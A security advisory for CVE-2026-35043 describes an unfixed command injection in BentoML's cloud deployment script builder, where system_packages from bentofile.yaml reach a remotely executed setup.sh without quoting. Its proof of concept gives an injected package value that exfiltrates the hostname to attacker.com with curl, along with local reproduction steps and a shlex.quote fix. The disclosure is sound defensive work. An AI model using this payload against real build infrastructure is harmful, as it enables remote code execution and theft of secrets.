CVE-2026-35043

Commit ce53491 (March 24) fixed command injection via system_packages in Dockerfile templates and images.py by adding shlex.quote. However, the cloud deployment path in src/bentoml/_internal/cloud/deployment.py was not included in the fix. Line 1648 interpolates system_packages directly into a shell command using an f-string without any quoting.

The generated script is uploaded to BentoCloud as setup.sh and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier.

Details

Fixed paths (commit ce53491):

• src/bentomlsdk/images.py:88 - added shlex.quote(package)
• src/bentoml/internal/bento/buildconfig.py:505 - added bash_quote Jinja2 filter
• Jinja2 templates: base_debian.j2, base_alpine.j2, etc.

Unfixed path:

src/bentoml/_internal/cloud/deployment.py, line 1648:

    def buildsetupscript(bentodir: str, image: Image | None) -> bytes:

        content = b""

        config = BentoBuildConfig.frombentodir(bento_dir)

        if config.docker.system_packages:

            content += f"apt-get update && apt-get install -y {' '.join(config.docker.system_packages)} || exit 1\n".encode()

system_packages values from bentofile.yaml are joined with spaces and interpolated directly into the apt-get install command. No shlex.quote.

Remote execution confirmed:

• Line 905: setupscript = buildsetupscript(bento_dir, svc.image) in initdeployment_files
• Line 908: uploadfiles.append(("setup.sh", setupscript)) uploads to BentoCloud
• Line 914: self.uploadfiles(uploadfiles, ...) sends to the remote deployment
• The script runs on the cloud build infrastructure during container setup

Second caller at line 1068: buildsetup_script is also called during Deployment.watch() for dev mode hot-reload deployments.

Proof of Concept

bentofile.yaml:

    service: "service:svc"

    docker:

      system_packages:

• • • "curl"
    • "jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}#"

Generated setup.sh:

    apt-get update && apt-get install -y curl jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}# || exit 1

The semicolon terminates the apt-get command. ${IFS} is used for spaces (works in bash, avoids YAML parsing issues). The # comments out the trailing || exit 1. The injected curl exfiltrates the hostname of the build infrastructure to the attacker.

Impact

A malicious bentofile.yaml achieves remote code execution on BentoCloud's build infrastructure (or enterprise Yatai/Kubernetes build nodes) during deployment. Attack scenarios:

1. Supply chain: A shared Bento from a public model hub contains a poisoned bentofile.yaml. When deployed to BentoCloud, the injected command runs on the build infrastructure.
2. Insider threat: A data scientist with deploy permissions injects commands into system_packages to exfiltrate secrets from the build environment (cloud credentials, API keys, other tenants' data).
3. CI/CD compromise: The build infrastructure typically has access to container registries, artifact storage, and deployment APIs, making this a pivot point for broader infrastructure compromise.

Local Reproduction Steps

Tested and confirmed on Ubuntu with BentoML source at commit 0772581.

Step 1: Create a directory with a malicious bentofile.yaml:

    mkdir /tmp/bento-pwn

    cat > /tmp/bento-pwn/bentofile.yaml << 'EOF'

    service: "service:svc"

    docker:

      system_packages:

• • • "curl"
    • "jq; touch /tmp/PWNEDBYINJECTION #"

    EOF

Step 2: Generate the setup script using the vulnerable code path (extracted from deployment.py:1648):

    python3 -c "

    import yaml

    with open('/tmp/bento-pwn/bentofile.yaml') as f:

        config = yaml.safe_load(f)

    pkgs = config['docker']['system_packages']

    script = f"apt-get update && apt-get install -y {' '.join(pkgs)} || exit 1\n"

    print('Generated setup.sh:')

    print(script)

    with open('/tmp/bento-pwn/setup.sh', 'w') as f:

        f.write(script)

    "

Step 3: Execute and verify:

    rm -f /tmp/PWNEDBYINJECTION

    bash /tmp/bento-pwn/setup.sh

    ls -la /tmp/PWNEDBYINJECTION

Result: /tmp/PWNEDBYINJECTION is created, confirming the injected touch command executed. The semicolon broke out of apt-get install, the injected command ran, and # commented out the error handler.

Generated setup.sh content:

    apt-get update && apt-get install -y curl jq; touch /tmp/PWNEDBYINJECTION # || exit 1

For comparison, the fixed version (with shlex.quote) would generate:

    apt-get update && apt-get install -y curl 'jq; touch /tmp/PWNEDBYINJECTION #' || exit 1

The single quotes from shlex.quote neutralize the semicolon and hash, treating the entire string as a literal package name argument to apt-get.

Suggested Fix

Apply shlex.quote to each package name, matching the fix in images.py:

    if config.docker.system_packages:

        quoted = ' '.join(shlex.quote(p) for p in config.docker.system_packages)

        content += f"apt-get update && apt-get install -y {quoted} || exit 1\n".encode()

— Koda Reef